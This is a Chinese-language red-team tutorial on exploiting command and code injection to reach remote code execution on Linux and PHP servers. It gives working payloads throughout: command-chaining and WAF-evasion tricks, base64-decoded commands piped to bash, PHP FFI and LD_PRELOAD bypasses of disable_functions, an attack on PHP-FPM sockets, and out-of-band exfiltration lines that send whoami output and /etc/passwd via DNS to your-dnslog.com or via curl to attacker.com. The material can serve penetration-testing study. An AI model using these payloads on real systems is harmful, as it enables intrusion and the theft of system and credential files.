命令执行与代码注入实战突破

命令执行与代码注入实战突破

命令执行(Command Injection)代码注入(Code Injection) 是渗透测试中直接斩获最高权限的漏洞类型。此类漏洞往往源于应用在调用底层系统组件(如 system(), exec(), eval())时,未能严格净化用户输入。

在真实的红蓝对抗中,防守方通常会部署严格的 WAF 规则、禁用高危函数(如 PHP disable_functions)甚至切断目标主机的外网连接。本文将从漏洞利用的角度,系统解析如何突破这些封锁,实现 RCE(远程代码执行)。


1. 命令拼接与符号截断机制

在命令注入中,最基础的利用方式是利用操作系统的管道符与逻辑连接符截断原命令,插入恶意指令。

1.1 Unix/Linux 环境连接符

  • ; (分号):顺序执行。cmd1 ; cmd2(无视 cmd1 成功与否,必定执行 cmd2)。
  • | (管道):将前一个命令的输出作为后一个命令的输入。cmd1 | cmd2(通常用于覆盖原有输出)。
  • && (逻辑与):前一个命令成功后才执行后一个。cmd1 && cmd2
  • || (逻辑或):前一个命令失败后才执行后一个。cmd1 || cmd2
  • $()` (命令替换):将内部命令的执行结果作为外层命令的参数。例如:ping $(whoami).evil.com

1.2 Windows 环境连接符

  • &:顺序执行(类似于 Linux 的 ;)。
  • &&||:逻辑语义与 Linux 一致。
  • %VAR%:环境变量拼接利用。

2. WAF 与黑名单关键字 Bypass

面对 WAF 对敏感词(如 cat, ls, etc, flag)的拦截,红队需要通过变形与混淆技术重组 Payload。

2.1 绕过空格限制

当过滤了空格时,可利用系统内置的替换机制:

  • 重定向符cat<flag.txtcat<>flag.txt
  • 内部字段分隔符 (IFS)${IFS} 是 Linux 的默认分隔符。cat${IFS}flag.txt
  • 变量切片{cat,flag.txt}

2.2 绕过关键字检测

  • 单引号/双引号拼接c'a't fl""ag.txt(Bash 在解析时会自动剥离未引用的引号)。
  • 反斜杠逃逸c\at fl\ag.txt
  • 通配符匹配:利用 ?* 模糊匹配。例如 cat /etc/passwd 可写为 cat /e?c/p*wd
  • 变量拼接a=c; b=at; $a$b flag.txt
  • Base64/Hex 编码绕过:通过编码输入并在目标机解码执行:
    echo "Y2F0IGZsYWcudHh0" | base64 -d | bash

3. 突破 PHP disable_functions 限制

在许多安全的 PHP 环境中,运维会通过 php.inidisable_functions 禁用掉 system, exec, shell_exec, passthru 等全部系统命令执行函数。拿到 WebShell 后,如果无法执行系统命令,就需要进行底层突破。

3.1 LD_PRELOAD 劫持

通过上传自定义的动态链接库(.so 文件),并利用 PHP 函数(如 mail(), error_log(), mb_send_mail())在底层调用系统进程(如 sendmail)的特性,强制加载恶意 .so

  • 原理:利用环境变量 putenv("LD_PRELOAD=/tmp/evil.so")。当 mail() 触发系统进程时,优先加载 evil.so,从而执行 .so__attribute__((constructor)) 初始化代码,完成命令执行。

3.2 FFI (Foreign Function Interface) 扩展

PHP 7.4 引入的 FFI 允许 PHP 代码直接调用 C 语言函数。 如果目标开启了 FFI,可直接绕过禁用函数限制,调用底层的 system()

$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("id > /tmp/out.txt");

3.3 攻击 PHP-FPM / FastCGI (UDS)

如果在目标服务器上发现了开放的 Unix Domain Socket(如 /var/run/php-fpm.sock)或 TCP 端口(如 9000),可以构造 FastCGI 协议的数据包,通过未授权访问直接覆盖 PHP_ADMIN_VALUE,动态修改 disable_functions 并包含恶意代码。


4. OOB (Out-of-Band) 带外通信盲注

在真实攻防中,目标系统往往是无回显的,且可能不具备外网 TCP 通信权限(无法反弹 Shell)。此时需要利用 OOB 技术将命令执行结果带出。

4.1 DNSlog 数据外带

这是最经典的盲打手段。由于目标内部往往配置了 DNS 解析,我们可以将执行结果拼接到 DNS 查询的子域名中,通过红队控制的 DNS 服务器记录捕获结果。

# 获取当前用户名并通过 DNS 传出
ping -c 1 `whoami`.your-dnslog.com

# 针对包含特殊字符的输出,需要先 Base64 编码,再切片传出
ping -c 1 `cat /etc/passwd | base64 | head -c 20`.your-dnslog.com

4.2 HTTP/ICMP/SMB 带外

  • HTTP 请求:如果目标出网,可通过 curl http://attacker.com/$(id) 携带数据。
  • ICMP 隧道:利用 ping -p 或专门的 ICMP 隧道工具将结果打包在 Ping 包的 Data 字段中。

5. 总结

命令执行与代码注入的博弈,本质上是解析器与系统底层之间的数据流对抗。无论是通过千变万化的 Linux 字符切片绕过 WAF,还是深入进程层利用 LD_PRELOAD 破解运行时限制,亦或是通过 DNS 带外盲打,红队的目标始终是在受限的沙盒中,寻找通往底层内核的那把钥匙。